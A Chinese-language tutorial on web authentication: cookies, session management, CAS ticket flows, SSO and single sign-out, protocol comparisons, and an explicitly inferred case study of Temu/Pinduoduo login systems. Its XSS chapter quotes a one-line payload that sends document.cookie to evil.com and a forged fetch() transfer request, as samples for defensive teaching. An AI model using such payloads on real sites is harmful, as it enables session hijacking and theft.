CHAPTER 0 · 缘起

一次登录,通行天下
—— 登录鉴权体系深潜指南

从浏览器里那一条 Set-Cookie 开始,一路走到 CAS 的票据联邦,再到 Temu 内部 tools / pai / ab 多个子域如何共享一次登录。本指南用 动画 把每一个请求、每一条重定向、每一张票据演给你看,目标是让你达到 超出行业平均 的专家认知 —— 不仅能讲清"是什么",还能讲清"为什么这样设计、换了你会怎么做"。

🍪

Cookie 鉴权

浏览器与服务端之间的"通行证"载体,所有 Web 登录的地基
🗄️

Session 管理

服务端状态、会话固定/劫持、分布式会话与 Redis
🎫

CAS 票据联邦

TGC / TGT / ST / PT / PGT / LT,一次性票据的艺术
🛒

Temu 真实案例

多子域 SSO 落地:买家 / 卖家 / 内部工具三套登录面
怎么用这份指南每个流程都带 播放控件(⏮ ◀ ▶ ⏭ ↻)。建议一步步点 ▶看请求如何流动,右侧详情面板会同步显示该步的 HTTP 方法、URL、请求头、Set-Cookie 与注释。时间线小条可点击跳转任意步骤。

一句话理解 SSO

SSO(Single Sign-On,单点登录)不是某个具体协议,而是一个 目标:用户在 一个地方 登录一次,就能访问 多个相互独立的应用 而无需重复输密码。CAS、OAuth 2.0、OIDC、SAML 都是达成这个目标的不同协议实现。本指南主角 CAS 是企业内网多系统 SSO 的经典方案,也正是大厂内部工具门户(如 Temu 的 tools/pai/ab)最可能采用的模式。

先建立心智模型记住三件事,后面所有内容都是它们的展开:
浏览器是带 cookie 的信使 —— 它只会把"属于这个域"的 cookie 随请求发回。
票据是一次性凭据 —— 像电影票,验过即焚,防止被偷走重放。
SSO 中心是唯一知道密码的地方 —— 业务系统只认票据,从不见明文密码。
CHAPTER 2 · 服务端状态

🗄️ Session 管理 —— cookie 只存 ID,状态在服务端

Cookie 存在浏览器,是"可以被偷走"的客户端存储。所以现代登录把 cookie 只当索引(存一个 session ID),真正的登录状态放服务端 —— 这就是 session。

Session 的工作机制

用户登录成功后,服务端创建一条 session 记录(含用户 ID、角色、登录时间等),生成一个不可猜测的随机 session ID,通过 Set-Cookie 写给浏览器。之后浏览器每次请求带上这个 ID,服务端拿 ID 去"查表"还原出用户身份。

# 登录响应:服务端建 session,下发 ID
Set-Cookie: sessionid=8f3a9c2b...; HttpOnly; Secure; SameSite=Lax

# 服务端存储(概念上)
sessions["8f3a9c2b..."] = { uid: 1024, role: "ops", loginAt: ..., expireAt: ... }
为什么不直接把用户信息塞进 cookie?① cookie 会被篡改/伪造,放明文身份=灾难(除非用签名 JWT,那是另一套);② cookie 有 4KB 上限且每次请求全量上传,浪费带宽;③ 服务端存储可随时吊销会话(删掉记录即失效),cookie 方案吊销难。所以"cookie 存 ID + 服务端存状态"是经典且安全的组合。

Session 存哪里:单机 vs 分布式

单机内存 / 文件

最早期的方案,session 存应用进程内存。简单,但服务重启即全员掉线,且无法水平扩展——请求落到不同机器就找不到 session。

共享存储(Redis 等)

所有应用实例连同一个 Redis,session ID 作 key 查询。任何机器都能验证,天然支持水平扩展;Redis 的 TTL 还自动处理过期。这是大厂标配。

另一种选择:粘性会话(sticky session)负载均衡按 session ID 把同一用户固定路由到同一台机器,那台机器本地有 session 即可。缺点:机器宕机该用户掉线、扩缩容不均衡。共享存储(Redis)是更优解,现在基本取代了 sticky。

两大经典攻击与防御

会话固定 Session Fixation

攻击:黑客把自己已有的 session ID(如 SID=evil)通过链接/注入塞给受害者浏览器,受害者用这个 ID 登录后,黑客用同一个 ID就获得了已登录会话。

防御:登录成功后立即重新生成 session ID(rotate),把旧 ID 作废、发新 ID。这样塞进来的旧 ID 立刻失效。

会话劫持 Session Hijacking

攻击:黑客通过 XSS、网络嗅探、中间人等偷到受害者的 session ID,直接冒充。

防御:HttpOnly(防 XSS 读)+ Secure(防嗅探)+ SameSite(防 CSRF 发送)+ HTTPS 全站;可选绑定 IP/UA(有副作用,IP 漂移会误杀)。

超时策略:绝对 vs 空闲

CHAPTER 3 · CAS 核心

🎫 CAS 票据全家桶 —— 一次性凭据的艺术

CAS(Central Authentication Service,中央认证服务)是 Apereo 开源的企业 SSO 协议。它的精髓不在密码,而在一整套票据——每张票据有精确的存身之处、生命周期与"是否一次性"。理解这 7 张票,就理解了 CAS 的全部。

CAS 的设计哲学密码只在 CAS 服务器这一个地方出现。业务系统永远只见票据,从不见明文密码。票据用完即焚(一次性)、短命绑定特定服务——哪怕被截获也无法重放。这是它比"共享 cookie"安全的根本原因。

七张票的关系全景

                     ┌─────────────────────────────────────┐
                     │        CAS Server(认证中心)        │
                     │  ┌─────────────────────────────┐    │
                     │  │  TGT  Ticket-Granting Ticket   │    │  ← SSO 会话根(服务端)
                     │  │  (所有 ST 的"母票",可复用)  │    │
                     │  └──────────┬──────────────────┘    │
                     │             │ 派生                    │
                     │     ┌───────┴────────┬──────────┐    │
                     │     ▼                ▼          ▼    │
                     │  ST(给tools)     ST(给pai)    ST(给ab)  ← 一次性服务票
                     └─────┬───────────────┬────────────────┘
                           │               │
              浏览器投影   │               │ 服务端到服务端验证
            ┌──────────────┘               │(ticket 随 URL 回 service)
            ▼                              ▼
   ┌─────────────────┐          ┌──────────────────────┐
   │  TGC cookie       │          │ service 拿 ST 回调       │
   │ (host-only,      │          │ /p3/serviceValidate   │
   │  仅 CAS 域可见)   │          │  → 返回 user+属性     │
   └─────────────────┘          └──────────────────────┘

   LT 登录票:表单防重放(后退/重提密码)   PGT/PT/PGTIOU:代理链(见第 7 章)
TGT 服务端

Ticket-Granting Ticket

SSO 会话的根凭证
  • 存哪:CAS 服务端 TicketRegistry(内存 / Redis / Hazelcast)
  • 生命周期:可配 idle+absolute,登出即失效
  • 一次性,可反复派生 ST
  • 前缀TGT-
所有 ST 的"母票",是 TGC 在服务端的对应物。
TGC 浏览器

Ticket-Granting Cookie

TGT 的浏览器端投影
  • 存哪:cookie,host-only(仅 CAS 域),Path=/cas
  • 属性Secure; HttpOnly; SameSite=Lax
  • 生命周期:session(关浏览器失效);remember-me ≤3 月
  • 一次性
  • 前缀TGC-
偷到 TGC = 冒充整个 SSO,所以它锁死在 CAS 域、HttpOnly 防 XSS。
ST URL 参数

Service Ticket

给单个 service 的一次性凭据
  • 存哪:URL 参数 ticket=ST-...
  • 生命周期:实现默认 ~10 秒(spec 上限 5 分钟)
  • 一次性,验过即焚(成功或失败都作废)
  • 绑定:仅对生成时指定的 service 有效
  • 前缀ST-(≥32 字符)
一次性 + 短命 + 服务绑定 = 重放几乎不可能。
LT 表单隐藏域

Login Ticket

登录表单防重放/CSRF
  • 存哪:登录表单隐藏字段 lt
  • 一次性,仅一次认证尝试
  • 前缀LT-(概率唯一)
浏览器后退重提密码、防凭据重放。每次渲染表单发新 LT。
PT URL 参数

Proxy Ticket

代理服务代表用户访问后端
  • 存哪:URL ticket=PT-...
  • 生命周期:建议 ≤5 分钟内验证
  • 一次性
  • 验证/proxyValidate(返回 user + proxies 链)
  • 前缀PT-
让前端服务"替用户"调后端,无需密码,且留有审计链。
PGT / PGTIOU

Proxy-Granting Ticket (+ IOU)

派生 PT 的把手 + 关联欠条
  • PGT 存哪:service 端 + CAS 端,登出失效
  • PGT 一次性,可反复派生 PT
  • PGTIOU:验证响应里的"欠条",关联回调收到的真 PGT
  • 前缀PGT- / PGTIOU-
PGT 经独立 HTTPS 回调送达,PGTIOU 在浏览器可见的响应里——两通道关联,PGT 不暴露给浏览器。
专家级记忆口诀 母票 TGT(服务端,可复用)→ 浏览器投影 TGC(锁 CAS 域)→ 派生 ST(一次性·短命·绑服务)给业务;LT 守登录表单;PGT→PT 走代理链。一次性票据(ST/LT/PT/PGTIOU)用完即焚,可复用票据(TGT/TGC/PGT)代表长期会话。
CHAPTER 4 · 完整流程

🔐 CAS 首次登录 —— 九步看穿一次完整认证

用户第一次访问受保护的业务系统,从被踢去登录,到最终拿到本地会话。请一步步点 ▶,注意每一步谁在说话、cookie 写在哪、ticket 怎么传。

看动画时盯三件事TGC 只在 CAS 域——浏览器访问业务系统时不带 TGC;② ST 走 URL 参数,在浏览器可见但一次性;③ ST 验证是服务端到服务端的调用(紫色 S2S),浏览器不参与。

关键细节拆解

隐蔽的坑:ST 走 URL 会泄漏ST 在 URL 里,若登录回跳页面嵌了第三方资源(图片/统计脚本),ST 会通过 Referer 头泄漏给第三方。缓解:回跳页不放第三方资源、立即验证并重定向去掉 ticket,或用 CAS 3.0 的 POST 方式把 ticket 放进请求体。

第 5 章 · 单点登录 SSO:凭什么不用再输密码

上一章你已经用 tools.temuid.com 登录过一次,浏览器在 login.temuid.com 这个域下种下了一颗 TGC。现在你点开 pai.temuid.com(另一个业务系统)——它从没见过你,却不弹登录框直接放你进来。 这背后就是 SSO 的全部魔法。关键不是"它认识你",而是它把"你是谁"这件事委托给了一个 你已经认证过的中心,而那个中心用一颗 cookie 记住了你的会话。

核心心智模型:SSO = 一次中心认证 + 票据互认。
每个业务系统自己发自己的 session cookie(互不通用),但它们都信任 同一个 CAS 中心。CAS 通过 TGC cookie 认住"你已经在中心登录过", 业务系统通过 一次性 ST 票据 验证"这次登录确实来自中心"。两条 cookie 链路, 中间用一张一次性票连接。

为什么 TGC 必须用 SameSite=Lax,而不是 Strict?

这是面试和工程里最容易被答错的一点。直觉上"Strict 更安全",但在 SSO 场景下 Strict 会直接破坏登录。看动画第 3 步:浏览器从 pai.temuid.com 被 302 跳转到 login.temuid.com/login。 这是一次跨站点的顶层导航(pai 子域 → login 子域,若视为不同站点)。 如果 TGC 是 SameSite=Strict,浏览器在这一跳里 不会携带 TGC,CAS 看不到 TGC 就以为你没登录,于是又给你弹登录框—— SSO 彻底失效。

SameSite=Lax 的设计恰好允许安全的顶层 GET 跳转携带 cookie, 又能挡住跨站 POST(CSRF 的主要载体)。所以 Lax 是 SSO 场景下"安全 × 可用"的精确平衡点。 这也是为什么 CAS 官方默认 TGC 用 Lax 而非 Strict——不是疏忽,是协议本身的必然要求。

反直觉点:安全等级不是越高越好,而是刚好满足约束又不破坏功能。 Strict 在"同站点内刷新"的纯 session cookie 上是对的;但在"跨子域跳转承载认证" 的 SSO cookie 上是错的。判断 SameSite 取值时永远先问:这颗 cookie 要不要在跨站跳转里被带上?

两个特殊参数:renew 与 gateway

参数作用典型场景
renew=true 即便 TGC 存在,强制再走一次登录(输密码),拿到一张带 renew 标记的 ST 支付/改密等高敏感操作前的步进认证(step-up);防止前一个用户没退出、后来人捡到会话
gateway=true 若未登录则不弹登录框,直接静默返回应用(带或不带 ticket);已登录则照常发 ST 首页"探测登录态":已登录就显示用户名,未登录就显示"登录"按钮,绝不打断匿名浏览

这两个参数揭示了 SSO 的精细控制力:认证不是"全有或全无",而是可以按业务敏感度 分层认证。Temu 内部工具里,"查看报表"用普通 SSO,"修改投放预算/提现"则可叠加 renew=true 重新验证——这就是同一套 TGC 之上的安全分层。

第 6 章 · 单点登出 SLO:登录容易登出难

SSO 让你"一次登录处处通行",但硬币的另一面是:你登录过 N 个服务,每个都在自己域下种了 独立的会话 cookie。单点登出(Single Sign-Out, SLO)要解决的,就是"在 CAS 登出时, 把这 N 个服务的会话全部废掉"。这是整个 CAS 协议里最不可靠、最容易被忽略的一环—— 因为它依赖"服务端到服务端"的通知,而任何一环失败都会留下"幽灵会话"。

为什么 SLO 难?登录时是浏览器主动去找 CAS(同步、可见);登出时 CAS 却要 主动去通知每个服务(异步、背靠背)。服务可能下线、网络可能丢包、通知可能超时—— 于是出现"我在 CAS 登出了,但 tools 里还能用"的尴尬。SLO 本质是最终一致而非强一致。

两种 SLO 通道

通道机制优点缺点
Back-channel
(后通道,推荐)
CAS 直接向每个服务发 SAML LogoutRequest POST,服务收到后销毁对应 session 服务端背靠背、对用户不可见、不暴露票据给浏览器历史 服务必须暴露 /cas 通知端点并映射 SessionIndex→ST→session;任一服务不可达即漏登出
Front-channel
(前通道,备选)
CAS 返回一个含多个隐藏 iframe的页面,每个 iframe 指向某服务的 /casLogout,浏览器逐个加载触发登出 无需服务端背靠背连通,穿透防火墙友好 依赖浏览器执行、会被弹窗拦截/第三方 cookie 限制影响、票据出现在 iframe URL 中

关键纽带是 SessionIndex:CAS 在签发每张 ST 时记录"这张票对应哪个 session", 登出时把 ST 作为 SessionIndex 塞进 LogoutRequest,服务据此精准定位要销毁的那条 session (而不是把当前用户的所有 session 都干掉)。这就是为什么 ST 即使一次性消费后,CAS 仍要 保留它的元数据一段时间——为了 SLO 能找回来。

SLO 的盲区(实战必知):
  • 本地自发的长期 token 不受 SLO 管辖:若服务把"记住我"token 存在浏览器且 CAS 不知情,CAS 登出后该 token 仍可换回会话。OAuth 的 access_token 同理——SLO 只管 CAS 签发的会话链。
  • 背靠背通知是 fire-and-forget:CAS 发出 LogoutRequest 后不强制等服务确认,若服务恰好重启/网络抖动,该服务会话残留直到自然过期。
  • 必须设合理的 session 绝对超时:把 SLO 当作"尽力而为",真正的安全兜底永远是绝对超时 + 敏感操作前 renew

第 7 章 · 代理认证 Proxy:让服务"代你"去调另一个服务

到这里你可能会问:如果 tools 这个服务后端需要调用 pai 的 API, 且要证明"我是代表 leo 在调用",CAS 能做到吗?——能。这就是代理认证(Proxy Authentication), CAS 协议里最精巧、也最容易被忽略的能力。它解决的是"服务到服务、且身份可传递"的问题, 比 OAuth 2.0 的 client_credentials 多了一份"用户授权链"的语义。

两类新票据登场:
  • PGT(Proxy Granting Ticket):可复用的委托凭据,发给"被信任的代理服务"。它代表"此服务有权代某用户发起调用"。前缀 PGT-
  • PT(Proxy Ticket):一次性票据,用 PGT 换得,呈现给目标服务做登录凭证。前缀 PT-。本质上 PT 和 ST 同构,目标服务用 /proxyValidate(而非 /serviceValidate)校验它。
一次 PGT 可换出多张 PT(调多个服务、或同一服务多次),但每张 PT 仍一次性消费——委托权复用,调用权受限

PGT 的交付:PGTIOU 收据机制

PGT 不能明文出现在浏览器可见的 URL 里(否则被截获即等于窃取委托权)。CAS 用了一个巧妙的 收据配对机制:服务调 /serviceValidate 时带上自己的 pgtUrl(回调地址), CAS 校验 ST 成功后,异步向 pgtUrl 发送真实 PGT;同时在 serviceValidate 的响应里返回一个 PGTIOU(一次性收据,前缀 PGTIOU-)。服务把收到的 PGT 与 PGTIOU 配对存好, 以后用 PGT 去换 PT。这样 PGT 永远只在后通道流转,浏览器和 ST 重放者都拿不到。

proxies 链:可审计的委托路径

/proxyValidate 校验一张 PT 时,CAS 不仅返回用户身份,还返回一条 proxies 链——例如 ["tools.temuid.com", "pai.temuid.com"],表示"这张票是 tools 代用户、再委托 pai 代为调用时签发的"。目标服务可据此做链路审计与授权策略: "只接受链路里包含 tools 的代理调用",或"链路深度超过 2 即拒绝"。这是 OAuth access_token 不具备的——后者是个不透明的"全权令牌",看不出调用链。

Proxy vs OAuth client_credentials:OAuth 的 client_credentials 是"服务自己的身份"去调, 没有用户上下文;CAS Proxy 是"代某用户"去调,携带完整用户身份 + 委托链。 需要"以 leo 名义记日志/做鉴权"的场景,Proxy 更贴切;纯机器间调用用 OAuth 即可。

第 8 章 · 实战:Temu / 拼多多的登录体系拆解

前面 7 章是"教科书里的 CAS"。这一章回到你最关心的真实问题: Temu/拼多多 的 toolspaiab 这些内部系统,到底怎么做 SSO? 这里必须先立一条规矩——大厂的内部 IdP 几乎从不公开文档,所以本章把每条信息按可信度分级,绝不把推断包装成事实。

信息可信度图例: ✅ 已确认 公开抓包/官方文档/可靠技术分享可见 🟡 合理推断 基于技术栈与公开行为的工程推演 ⚪ 示意虚构 为讲清流程构造的具体值,非真实数据

8.1 三类登录面(一张图看懂全局)

Temu/拼多多至少有三套相互独立的登录Realm,各自服务不同人群、用不同协议、落在不同 registrable domain 上。把它们混为一谈是初学者最大的误区。

登录面人群主域 / 入口协议形态可信度
消费者端 App/网站买家 temu.com / 拼多多 App install_token + api_uid + Accesstoken(opaque,非 JWT);API 用 MD5 签名
商家端 跨境/国内卖家 seller.temu.com / seller.kuajingmaihuo.com / oauth.pinduoduo.com OAuth 2.0 授权码流程;access_token 有效期约 24h
跨境身份 跨境业务统一身份 passport.kuajing.com(微信扫码等) 统一 passport 中心,多端登录态打通
内部工具
tools / pai / ab
员工 / 运营 / 算法 内网域名(未公开) passport 式自研 IdP + 网关统一校验(非 Apereo CAS) 🟡

8.2 为什么推断内部工具"不是 Apereo CAS"?

这是一个值得讲清的工程判断。前面学的 CAS(Apereo CAS)是Java 生态的成熟单点登录产品, 默认用 host-only TGC + ST 票据互认。但拼多多核心网关是 ✅ Go 栈, 内部工具体系庞大且自研程度高,更可能采用自研 passport + API 网关统一鉴权的路线, 而非引入一套 Java 的 CAS Server。关键差异在于 cookie 的作用域策略——这正是本章的核心洞察:

两条技术路线的根本分歧——cookie 作用域:
  • CAS 路线:TGC 是 host-only(绑死在 login.example.com),绝不Domain。 子域要登录得靠 302 跳 CAS + ST 票据互认。安全面小、但流程重、跳转多
  • 大厂自研路线(推断):把登录态 cookie 设成 Domain=.pinduoduo.com, 所有子域自动共享,网关侧 Redis 统一校验。流程极简、几乎无跳转,但 cookie 暴露面=整个域
拼多多体量下,"少一次跳转 = 数亿次请求的延迟节省",所以大概率选择后者。代价是必须在网关层做严格校验 + 短时效 + 风控,来补偿扩大了的暴露面。

8.3 内部工具 SSO 架构模型(tools / pai / ab)

下面这个流程是 🟡 推断模型,用于把前面学到的概念落到拼多多语境。 核心思想:passport 中心发一颗 Domain 级 cookie,网关统一校验,子域免跳转直连。 对比第 4-5 章的 CAS 流程,你会发现"ST 票据互认"这一整层被 Domain 共享 cookie + 网关校验替代了。

注意动画第 2 步的 Domain=.pinduoduo.com——这是整个模型的"命门"。 它让 tools/pai/ab 任何子域请求都自动带上 passport token, 所以第 7 步访问 pai 时不再需要跳转 passport,网关直接校验放行。这是相比 CAS 的巨大简化, 也是为什么大厂内部系统登录"几乎无感"。🟡 代价:任何子域的 XSS 都可能读到这颗 cookie(若非 HttpOnly)或借其身份发请求,所以内部工具强制 CSP / HttpOnly / 网关侧风控(IP、设备指纹、频次)是必须的补偿控制。

8.4 商家端:标准 OAuth 2.0 授权码

商家侧(seller.temu.com、开放平台 oauth.pinduoduo.com)走的是 最标准的 OAuth 2.0 授权码流程:商家在开放平台注册应用 → 拿 client_id/secret → 引导用户到 oauth.pinduoduo.com 授权 → 回调拿 code → 后端换 access_token(有效期约 24h) + refresh_token。API 调用用 access_token + MD5 签名防篡改。 这与第 9 章对比表里的 OAuth 2.0 列完全对应——商家端是"教科书 OAuth"。

8.5 消费者端:opaque token + 安装态

消费者 App 不走浏览器 cookie 那套,而是 设备级 token: 首次安装/启动生成 install_token + api_uid(即使未登录也有匿名身份用于推荐), 登录后拿 Accesstoken。这些 token 是 opaque(不透明)字符串 而非 JWT——服务端无法从 token 本身读出信息,必须回 Redis/DB 查。选择 opaque 而非 JWT 的原因: 🟡 可即时吊销(JWT 一旦签发到过期前无法撤销)、签名验证成本可控、 且拼多多有统一网关做集中校验,不需要 JWT 的"无状态分发"优势。

把三套放在一起看(本课的总洞察):同一公司、三套登录体系,恰好对应三种经典范式—— 消费者 = opaque token + 设备身份(移动端、强可控); 商家 = OAuth 2.0(开放生态、标准化); 内部工具 = Domain 共享 cookie + 网关校验(封闭内网、低延迟)。 它们不是"哪个更先进",而是各自匹配了信任边界与性能要求。专家认知就是能说出"为什么这里用 A 而不是 B"。

第 9 章 · 横评:CAS / OAuth 2.0 / OIDC / SAML 2.0

学完 CAS 你可能会问:那 OAuth、OIDC、SAML 又是什么?它们和 CAS 是竞争关系吗? 答案是:它们解决的是同一类问题(联邦身份/单点登录)的不同切面,且诞生背景不同。 理解它们的差异,你才能在架构选型时说出"为什么是这个"。下面这张表是本课的"决策罗盘"。

维度 CAS OAuth 2.0 OpenID Connect (OIDC) SAML 2.0
本质定位 SSO 协议(认证 + 单点登出) 授权框架( delegated access,不关心"你是谁") 认证协议(基于 OAuth 2.0 加 identity layer) 认证 + 授权协议(企业联邦身份)
诞生年代/生态 2001耶鲁,Java/Apereo 2012,IETF,互联网通用 2014,OpenID Foundation 2005,OASIS,企业/政务
核心令牌 TGC + ST/PT(自研票据) access_token / refresh_token(格式不限) id_token (JWT) + access_token SAML Assertion (XML 签名)
令牌载体 cookie (TGC) + URL (ST) 通常 Authorization 头 / query id_token 经 cookie/fragment,access_token 经头 SAML XML 经 POST (RelayState) 或 artifact
SSO 能力 原生,强项 非目标(需叠加 OIDC) 原生支持 原生支持(IdP 发断言)
单点登出 SLO back/front-channel,最终一致 无标准(revocation 端点≠SLO) RP-Initiated Logout,较完善 SLO 标准化(同 CAS 思路),企业级
代理/委托 Proxy(PGT/PT,带 proxies 链) token 传递即可,无标准链路审计 token 传递,无原生委托链 可(但复杂),Bearer assertion
令牌校验方式 后端回 CAS /serviceValidate 资源服务器校验(JWT 本地或 introspection) JWT 本地验签(JWKS)或 introspection 验 XML 签名 + 证书信任链
移动端友好 弱(强依赖浏览器 cookie) 强(token 即可,无浏览器) 弱(XML 重,浏览器绑定)
典型场景 校园/企业内部 Web 门户群 开放平台、第三方接入(如拼多多商家开放平台) 现代 SaaS、社交登录(Google/微信登录) 政企 SSO、教育联邦、B2B
典型坑 SLO 不可靠;ST 放 URL 易泄漏 scope 滥用、redirect_uri 校验不严、CSRF id_token 重放、nonce 缺失、混合流误用 XML 签名包装攻击、clock skew、证书轮换

选型决策树(背下这个就够了)

  • 同公司内部 Web 系统群、强 SSO + SSO 登出 → CAS(或自研 passport,如拼多多内部)。
  • 要给第三方开放 API、让用户授权自己的数据 → OAuth 2.0(拼多多商家开放平台正是如此)。
  • 要"用 Google/微信账号登录我的 SaaS"且需要知道用户是谁 → OIDC(OAuth 2.0 + id_token)。
  • 企业/政务/高校跨组织联邦、已用 AD/ADFS → SAML 2.0。
一句话区分 OAuth vs OIDC:OAuth 回答"能不能访问"(授权),OIDC 在其上多回答一句"你是谁"(认证)。 纯 OAuth 2.0 没有 id_token,拿到的 access_token 不应被当作身份证明——这是最常见误用。

回到 Temu 体系验证这个决策树:消费者用 opaque token(自有移动端,不走这些标准); 商家用 OAuth 2.0(开放给第三方 ISV,标准授权);内部工具用自研 passport(封闭内网 SSO)。 三种选择恰好覆盖了"自研 vs 标准"、"授权 vs 认证"、"移动 vs Web"的全谱——这是把本课学透后应该具备的"看一眼架构就能解释为什么"的能力。

第 10 章 · XSS 脚本窃取与会话劫持

前面所有章节都在讲"如何正确发 cookie / 建 session"。这一章讲它们怎么被偷走。 XSS(Cross-Site Scripting,跨站脚本)的本质不是攻击服务器,而是:攻击者把一段 JavaScript 注入到你的网页里, 这段脚本在受害者浏览器中、以"你网站的身份"执行。

为什么 XSS 这么危险?——同源策略(Same-Origin Policy)
浏览器规定:只有和网页同源的脚本能操作该网页、能读它的 cookie、能发同源请求。 而 XSS 注入的脚本就寄生在网页里、与网页同源,于是它享有你网站的一切权限——读 cookie、发请求、改 DOM、截图外传。 它不是"外来者",是"穿着你马甲的自己人"。这就是 XSS 危害的根源。

10.1 三种 XSS 注入方式

类型怎么注入典型例子危害
存储型
(持久型)
恶意脚本存进数据库,所有访问者都中招 论坛发帖内容 <script>...</script>,别人看帖即执行 最严重:一次注入,持续收割
反射型 脚本藏在 URL 参数里,服务器原样回显到页面 search?q=<script>...</script> 需诱导点击恶意链接
DOM 型 纯前端 JS 把不可信数据写进 DOM,不经服务器 el.innerHTML = location.hash 服务器日志无痕,难发现

10.2 "脚本窃取"特指:偷你的会话 cookie

XSS 能干很多坏事,"脚本窃取"最典型的是偷 cookie → 会话劫持(session hijacking)。 攻击代码往往就一行:new Image().src='https://evil.com/steal?c='+document.cookie。 攻击者不需要你的密码——他只要那串 sessionid,因为服务器只认 cookie 不认人。 下面动画演示完整攻击链,以及加上 HttpOnly 后的防御对比。

10.3 关键专家点:HttpOnly 才防"XSS 偷 cookie",SameSite 不防

这是最常被搞混的一对。用一个"两个隔间"心智模型讲透:浏览器把每颗 cookie 同时存在两个隔间里—— 网络隔间(发 HTTP 请求时自动带上,网站正常工作需要)和 JS 隔间document.cookie 能读到,XSS 就是从这偷的)。 HttpOnly 的作用是把 cookie 从 JS 隔间移除,XSS 便读不到,但网络隔间照常,网站仍能用。

两个隔间心智模型:
              一颗 cookie(如 sessionid=ABC)
                       │
       ┌───────────────┴───────────────┐
       ▼                                ▼
  ① 网络隔间                      ② JS 隔间
  发 HTTP 请求自动带上             document.cookie 能读到
  (网站正常工作需要)            (XSS 就是从这里偷的)
       │                                │
       └──────── HttpOnly 的作用 ───────┘
            把 cookie 从 ② JS 隔间拿掉
            → document.cookie 读不到 → XSS 偷不到
            → 但 ① 网络隔间照常,网站仍能用
属性防的是什么能防 XSS 偷 cookie 吗
HttpOnlyJS 读取 cookie(XSS 偷取)✅ 能
SameSite跨站请求带 cookie(CSRF)❌ 不能(XSS 同源,cookie 照带照读)
Secure明文链路泄漏 cookie——(防的是网络窃听,非 XSS)
常见误区:"我设了 SameSite=Lax 就防住 XSS 了"——。 SameSite 防的是 CSRF(跨站请求不带 cookie),与 XSS 是两个不同威胁面。 XSS 脚本和你网页同源,cookie 该带照样带、该读(若无 HttpOnly)照样读。防 XSS 偷 cookie 只能靠 HttpOnly

10.4 更深一层:HttpOnly 也不够,XSS 仍能"现场以你身份操作"

就算 cookie 是 HttpOnly 的、XSS 读不到,攻击者仍能在你网页里以你的身份发请求—— 因为脚本发同源请求时,浏览器照样自动附上那颗 HttpOnly cookie:

// cookie 虽 HttpOnly 读不到,但脚本在你网页里发同源请求时,
// 浏览器会自动带上那颗 cookie(网络隔间照常工作):
fetch('/api/transfer', {method:'POST', body:'to=attacker&amount=10000'});
// 服务器收到请求 + 合法 sessionid → 执行转账
也就是说:HttpOnly 让攻击者"偷不走"cookie 去别处重用,但挡不住他在当前页面"现场"以你身份操作 (转账、改密码、发帖、读敏感数据截图外传)。所以防御必须是组合拳:
防御手段防什么层次
输入转义 / 输出编码阻止脚本被注入根治 XSS(根源)
CSP(Content-Security-Policy)阻止注入的脚本执行 / 外发数据根治 XSS(根源)
HttpOnly阻止偷 cookie 去别处重用损害限制
SameSite防 CSRF(与 XSS 不同的威胁)另一威胁面

10.5 回到 Temu:为什么 Domain=.pinduoduo.com 放大了 XSS 爆炸半径

这正是安全清单一章那条反模式的由来。若把登录 cookie 设成 Domain=.pinduoduo.com(共享给所有子域):
  • 若它不是 HttpOnlytools.pinduoduo.com 上任何一个 XSS 漏洞,攻击者用 document.cookie 就能读到这颗全域共享的 passport token——一次 XSS 沦陷 tools,等于沦陷 pai、ab 及所有子域。爆炸半径 = 整个公司内网。
  • 即使它是 HttpOnly:tools 上的 XSS 仍能以你身份对 pai.pinduoduo.com/api 发跨子域同站请求(同站请求 cookie 自动带),跨系统搞事。
这就是为什么说"拼多多内部模型若无补偿控制即是此险"——选择 Domain= 共享换来零跳转的速度,代价就是必须用网关风控 + 强制 HttpOnly + CSP + 严格子域隔离来补偿那个被放大的暴露面。CAS 的 host-only TGC 反而天然把爆炸半径限制在单域,这是它"慢但安全"的体现。

第 11 章 · 安全清单与反模式:从会用到不被坑

前 9 章讲"怎么运转",这一章讲"怎么不出事"。登录体系的安全事故几乎都来自少数几个 反复出现的反模式。把它们内化成肌肉记忆,你就越过了"会用"到"专家"的最后一道坎。

11.1 Cookie 八大属性自检表

属性正确取值反模式与后果
Secure始终设不设 → HTTP 明文链路泄漏 cookie
HttpOnly会话 cookie 必设不设 → XSS 可 document.cookie 偷取
SameSiteLax(SSO/默认)/ Strict(纯同站 session)/ None+Secure(确需跨站)SSO 用 Strict→登录失效;用 None 不设 Secure→被拒
Domain会话 cookie 尽量 host-only;确需共享才设父域.example.com → 任一子域 XSS 波及全域(拼多多内部模型的代价)
Path最窄可用路径/ → 所有路径都携带,增大暴露面
Max-Age/Expires短时效 + 滑动续期;绝对超时兜底"记住我"一年 → 长期悬挂会话
__Host- 前缀优先用于 host-only 会话 cookie强制 Secure/Path=//无 Domain,防子域覆盖
Partitioned第三方 iframe 内用 CHIPS忽略 → 第三方 cookie 被浏览器逐步封禁

11.2 CAS 各票据的安全属性(一图记忆)

  • TGC:HttpOnly + Secure + SameSite=Lax + host-only;前缀 TGC-;丢失即账号失守,故绑 IP/设备指纹更稳。
  • TGT:服务端,可复用;设绝对超时与空闲超时;登出必须销毁。
  • ST:一次性 + 短 TTL(默认 10s)+ service 绑定;放 URL 故必须 HTTPS 且用完即焚,防 referer/历史泄漏。
  • LT:登录表单一次性 token,防登录 CSRF 与重放;每次渲染表单刷新。
  • PGT:可复用委托凭据,只在后通道流转,绝不进浏览器;丢失即代理权失守。
  • PT:一次性 + targetService 绑定 + proxies 链可审计。

11.3 Session 管理六条铁律

  1. 熵 ≥ 64 位,CSPRNG 生成。会话 ID 必须不可预测,否则可枚举劫持。Math.random() 不合格。
  2. 登录后立即 regenerate ID。防 session fixation——否则攻击者预设的 session ID 在你登录后变成合法会话。
  3. 绝对超时 + 空闲超时双控。空闲续期防不了"长期悬挂",必须叠绝对超时(如 8h 硬上限)。
  4. 共享存储而非 sticky session。多实例用 Redis 集中存 session,避免节点故障丢会话、避免 sticky 负载不均。
  5. 敏感操作 step-up。改密/支付/提现叠加 renew 重新认证,不要复用低敏会话。
  6. 登出彻底。服务端销毁 session + 客户端 Max-Age=0 删 cookie + 吊销相关 token;别忘了 SLO 通知兄弟服务。

11.4 高频反模式黑名单(看到就改)

  • 把 access_token 当身份证明:纯 OAuth 的 access_token 只授权不认证,拿它当"已登录"会被伪造 token 钻空子——必须用 OIDC 的 id_token。
  • ST 留在 URL 不清理:会进浏览器历史、Referer 头、日志。应用在拿到 ST 后立即 302 到无 ticket 的干净 URL。
  • redirect_uri / service 用通配或未校验:开放重定向→token 外泄。必须严格白名单、精确匹配。
